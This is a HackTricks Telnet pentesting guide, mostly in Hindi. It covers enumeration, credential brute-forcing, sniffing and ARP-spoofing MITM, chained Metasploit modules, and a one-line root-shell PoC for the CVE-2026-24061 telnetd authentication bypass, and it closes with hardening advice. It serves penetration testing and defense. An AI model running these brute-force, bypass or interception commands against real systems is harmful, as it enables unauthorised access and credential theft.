23 - Pentesting Telnet
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Telnet एक नेटवर्क प्रोटोकॉल है जो उपयोगकर्ताओं को नेटवर्क के माध्यम से किसी कंप्यूटर तक पहुँचने का एक असुरक्षित तरीका देता है।
डिफ़ॉल्ट पोर्ट: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
सारी दिलचस्प enumeration nmap द्वारा की जा सकती है:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
The script telnet-ntlm-info.nse will obtain NTLM info (Windows versions).
From the telnet RFC: In the TELNET Protocol are various “options” that will be sanctioned and may be used with the “DO, DON’T, WILL, WON’T” structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc.
मुझे पता है कि इन options को enumerate करना संभव है लेकिन मुझे तरीका नहीं पता — अगर आप जानते हैं तो बताइए।
Enumerate Telnet Options / Features
Telnet विकल्प सक्षम करने के लिए IAC + DO/DONT/WILL/WONT مذاکرات का उपयोग करता है। आप प्रारंभिक negotiation को कैप्चर करके और विशिष्ट फीचर्स के लिए probing करके समर्थित options का अवलोकन कर सकते हैं।
Nmap option/feature probes
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
The telnet-encryption script checks whether the ENCRYPT option is supported; some implementations historically handled this option incorrectly and were vulnerable, but the script only checks support.
telnet-ntlm-info discloses NTLM metadata (NetBIOS/DNS/OS build) when Microsoft Telnet NTLM is enabled.
telnet-brute is an NSE brute-force auditor for Telnet.
Brute force
कॉन्फ़िग फ़ाइल
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks स्वचालित कमांड्स
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
हाल की कमजोरियाँ (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): telnet सेवा में गलत इनपुट सत्यापन दूरस्थ हमलावरों को हार्ड-कोडेड क्रेडेंशियल का उपयोग करके लॉगिन करने और OS कमांड इंजेक्ट करने की अनुमति देता है; फर्मवेयर 1.04B05 या बाद के संस्करण में ठीक किया गया।
- CVE-2023-40478 – NETGEAR RAX30: Telnet CLI
passwdकमांड में stack-based buffer overflow नेटवर्क-एडजेसेंट code execution को root के रूप में सक्षम बनाता है; authentication आवश्यक है लेकिन बायपास किया जा सकता है। - CVE-2022-39028 – GNU inetutils telnetd: एक दो-बाइट अनुक्रम (
0xff 0xf7/0xff 0xf8)telnetdमें एक NULL-pointer dereference ट्रिगर कर सकता है, और बार-बार क्रैश होने पर inetd सेवा को डिसेबल कर सकता है (DoS)।
इन CVE को vulnerability triage के दौरान ध्यान में रखें — अगर लक्ष्य अन-पैच्ड फर्मवेयर या legacy inetutils Telnet daemon चला रहा है तो आपके पास सीधे code-execution या disruptive DoS तक पहुँचने का रास्ता हो सकता है।
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
Primitive: Telnet NEW_ENVIRON क्लाइंट्स को option negotiation के दौरान environment variables पुश करने देता है; inetutils telnetd अपने लॉगिन टेम्पलेट में %U को getenv("USER") से प्रतिस्थापित करता है और उसे सीधे /usr/bin/login को पास कर देता है, जिससे argv-level option injection सक्षम हो जाता है (कोई shell expansion नहीं)।
Root cause: versions 1.9.3–2.7 %U को बिना फिल्टर किए expand करते हैं, इसलिए USER मान जो - से शुरू होता है उसे login flag के रूप में parsed किया जाता है। उदाहरण के लिए, %U -f root बन जाता है, जिससे /usr/bin/login -h <hostname> "-f root" बनता है और प्रमाणीकरण छोड़ना (login -f) होता है।
Exploit flow:
- Telnet सेवा से कनेक्ट करें और
USER=-f rootसेट करने के लिए NEW_ENVIRON का नेगोशिएशन करें। telnetdलॉगिन argv बनाता है जिसमें हमलावर-नियंत्रित%Uमान शामिल होता है।/usr/bin/login-f rootको “पूर्व-प्रमाणीकृत उपयोगकर्ता root” के रूप में पार्स करता है और root shell स्पॉन करता है।
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Patch note: inetutils 2.7-2 में एक sanitize() helper जो उन मानों को अस्वीकार करता है जो - से शुरू होते हैं या जिनमें whitespace/metacharacters होते हैं, और उन्हें login argv में डालने से पहले हटाता/अस्वीकार कर देता है, जिससे option injection रोका जाता है।
Detection/verification: telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, या netstat -tlnp | grep :23 से exposed daemons की पहचान करें।
निवारण
- Patch/upgrade प्रभावित पैकेज तुरंत अपग्रेड/पैच करें (उदा., Debian fixes
2:2.4-2+deb12u2,2:2.6-3+deb13u1, और2:2.7-2में उपलब्ध हैं)। - Disable Telnet या पैच करते समय access को trusted management networks तक सीमित रखें।
Sniffing Credentials & Man-in-the-Middle
Telnet सब कुछ, credentials सहित, clear-text में ट्रांसमिट करता है। इन्हें पकड़ने के दो तेज़ तरीके:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
सक्रिय MITM के लिए, ARP spoofing (e.g. arpspoof/ettercap) को उन्हीं sniffing filters के साथ मिलाएँ ताकि switched networks पर passwords एकत्र किए जा सकें।
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Most IoT botnets (Mirai variants) अभी भी छोटे default-credential dictionaries के साथ पोर्ट 23 स्कैन करते हैं—इसी लॉजिक को दोहराकर कमजोर डिवाइस जल्दी पहचान लिए जा सकते हैं।
Exploitation & Post-Exploitation
Metasploit के कई उपयोगी modules हैं:
auxiliary/scanner/telnet/telnet_version– बैनर और विकल्पों की enumeration।auxiliary/scanner/telnet/brute_telnet– मल्टीथ्रेडेड ब्रूट-फ़ोर्स।auxiliary/scanner/telnet/telnet_encrypt_overflow– vulnerable Solaris 9/10 Telnet के खिलाफ RCE (option ENCRYPT हैंडलिंग)।exploit/linux/mips/netgear_telnetenable– कई NETGEAR routers पर crafted packet के जरिए telnet service सक्षम करता है।
एक shell मिलने के बाद याद रखें कि TTYs are usually dumb; इसे python -c 'import pty;pty.spawn("/bin/bash")' से upgrade करें या HackTricks TTY tricks का उपयोग करें।
हार्डनिंग और डिटेक्शन (Blue team corner)
- SSH को प्राथमिकता दें और Telnet सेवा को पूरी तरह disable कर दें।
- यदि Telnet आवश्यक है, तो इसे केवल management VLANs पर बाइंड करें, ACLs लागू करें और daemon को TCP wrappers (
/etc/hosts.allow) से रैप करें। - लेगेसी
telnetdimplementations कोssl-telnetयाtelnetd-sslसे बदलें ताकि transport encryption जुड़ सके, लेकिन यह केवल data-in-transit की रक्षा करता है—password-guessing फिर भी trivial रहता है। - पोर्ट 23 की ओर आउटबाउंड ट्रैफिक की निगरानी करें; compromises अक्सर Telnet पर reverse shells स्पॉन करते हैं ताकि strict-HTTP egress filters को बायपास किया जा सके।
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


